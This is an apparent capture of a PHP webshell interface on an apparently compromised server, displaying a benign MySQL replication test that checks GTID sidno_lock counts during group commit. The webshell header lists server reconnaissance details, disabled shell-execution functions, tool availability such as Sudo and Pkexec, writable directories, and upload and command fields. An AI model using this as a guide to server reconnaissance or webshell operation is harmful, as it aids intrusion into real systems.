403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.208.81
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_group_commit_update_commit_group.test
# ==== Purpose ====
#
# This test will make many transactions to be grouped when binary logged
# and will assert that they used the lock_sidno less times than the amount
# of transactions * 2.
#
# Previous to BUG#24398760 fix, every transaction being committed would
# take the lock_sidno twice inside ordered_commit function:
# a) At the flush stage, to be assigned with a new GTID and take the ownership
#    of the GTID;
# b) At the commit stage, to release the ownership of the GTID and to add the
#    gtid to the GTID_EXECUTED set.
#
# So, a group committing 10 transactions would take the sidno_lock 20 times.
#
# According to the bug report, having about 300 threads committing small
# transactions would lead to groups of up to 90 transactions on high performance
# environments. This would mean that the system would have about 180 threads
# trying to lock the sidno_lock (90 at the flush stage, 90 at the commit stage).
#
# Even knowing that the threads would acquire the lock one by one at each stage,
# this might generate unnecessary overhead when the system is loaded.
#
# As the bug fix makes a group of transactions to acquire the sidno_lock only
# once at the flush stage and only once at the commit stage, this test case will
# create a group of 10 transactions to commit and will observe the performance
# schema data about the sidno_lock, asserting that the amount of "hits" on
# COUNT_STAR is 2:
# - 1 for the whole group on FLUSH stage;
# - 1 for the whole group on COMMIT stage.
#
# ==== Related Bugs and Worklogs ====
#
# BUG#24398760 GTIDS REDUCE PERFORMANCE ON WORKLOADS WITH MANY SMALL
#              TRANSACTIONS
#

# This test case is binary log format agnostic
--source include/have_binlog_format_mixed.inc
--source include/have_binlog_order_commits.test
--source include/have_perfschema.inc
--source include/have_debug_sync.inc
--source include/have_gtid.inc
# The amount of transactions that will be part of the commit group
--let $group_size= 10
--let $rpl_extra_connections_per_server= $group_size
--source include/master-slave.inc

--let $sync_point_timeout= 100

CREATE TABLE t1 (a INT);

# Cleanup performance schema table about locks
TRUNCATE performance_schema.events_waits_summary_by_instance;

# Execute the transactions up to the FLUSH stage
--let $i= 1
while ($i <= $group_size)
{
  --let $statement_connection= server_1_$i
  --let $sync_point= bgc_after_enrolling_for_flush_stage
  --let $statement= INSERT INTO t1 VALUES ($i)
  --let $auxiliary_connection= master
  --source include/execute_to_sync_point.inc

  --inc $i
}

# Let the transactions to execute from the FLUSH stage
--let $skip_reap= 1

--let $i= 1
while ($i <= $group_size)
{
  --let $statement_connection= server_1_$i
  --let $sync_point= bgc_after_enrolling_for_flush_stage
  --let $statement= INSERT INTO t1 VALUES ($i)
  --let $auxiliary_connection= master
  --source include/execute_from_sync_point.inc

  --inc $i
}

# Reap all the transactions
--let $i= 1
while ($i <= $group_size)
{
  --let $rpl_connection_name= server_1_$i
  --source include/rpl_connection.inc
  --reap

  --inc $i
}

# There will be one "hit" per transaction on FLUSH stage
--let $sidno_lock_count_star= 1
# There will be one "hit" per commit group on COMMIT stage
--inc $sidno_lock_count_star

--let $assert_text= The group commit should acquire sidno_lock for $sidno_lock_count_star times
--let $assert_cond= [ SELECT COUNT_STAR = $sidno_lock_count_star FROM performance_schema.events_waits_summary_by_instance WHERE EVENT_NAME = "wait/synch/mutex/sql/Gtid_state" AND COUNT_STAR > 0 ]
--let $extra_debug_info= Current COUNT_STAR for wait/synch/mutex/sql/Gtid_state
--let $extra_debug_eval= COUNT_STAR FROM performance_schema.events_waits_summary_by_instance WHERE EVENT_NAME = "wait/synch/mutex/sql/Gtid_state" AND COUNT_STAR > 0
--source include/assert.inc

# Cleanup
DROP TABLE t1;
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit